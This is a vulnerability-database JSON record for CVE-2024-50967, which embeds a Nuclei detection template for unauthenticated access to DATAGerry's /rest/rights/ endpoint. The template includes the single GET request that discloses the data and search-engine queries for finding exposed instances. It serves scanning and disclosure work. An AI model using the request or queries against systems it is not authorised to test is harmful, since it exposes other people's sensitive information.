{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-50967/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-50967/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-50967/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-50967/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-50967/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-50967"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-50967"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-50967.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2024-50967\n\ninfo:\n  name: DATAGERRY - Improper Access Control\n  author: s4e-io,0xByteHunter\n  severity: high\n  description: |\n    The /rest/rights/ REST API endpoint in Becon DATAGerry through 2.2.0 contains an Incorrect Access Control vulnerability. An attacker can remotely access this endpoint without authentication, leading to unauthorized disclosure of sensitive information.\n  impact: |\n    Attackers can exploit this vulnerability to compromise system security and integrity.\n  remediation: |\n    Apply the latest security patches and updates to address this vulnerability.\n  reference:\n    - https://medium.com/@0xbytehunter/my-first-cve-discovery-of-broken-access-control-in-the-datagerry-platform-7b0404f88a43\n    - https://github.com/0xByteHunter/CVE-2024-50967\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-50967\n  classification:\n    cve-id: CVE-2024-50967\n    cwe-id: CWE-200\n    epss-score: 0.01677\n    epss-percentile: 0.75888\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: becon\n    product: datagerry\n    shodan-query: http.title:\"datagerry\"\n    fofa-query: title=\"datagerry\"\n    google-query: intitle:\"datagerry\"\n  tags: cve,cve2024,datagerry,auth-bypass,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/rest/rights/\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"response_type\":'\n          - '\"model\":'\n          - '\"time\":'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100c628775c3d6ebd7f5ab63fd31150dbfb9d659d2e4343c249fa74f291b404abc202204bba82845fd5dd6a04c49e619c9b2c27af022574a6c2ebfbd340ac4946ecefe8:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-50967"
}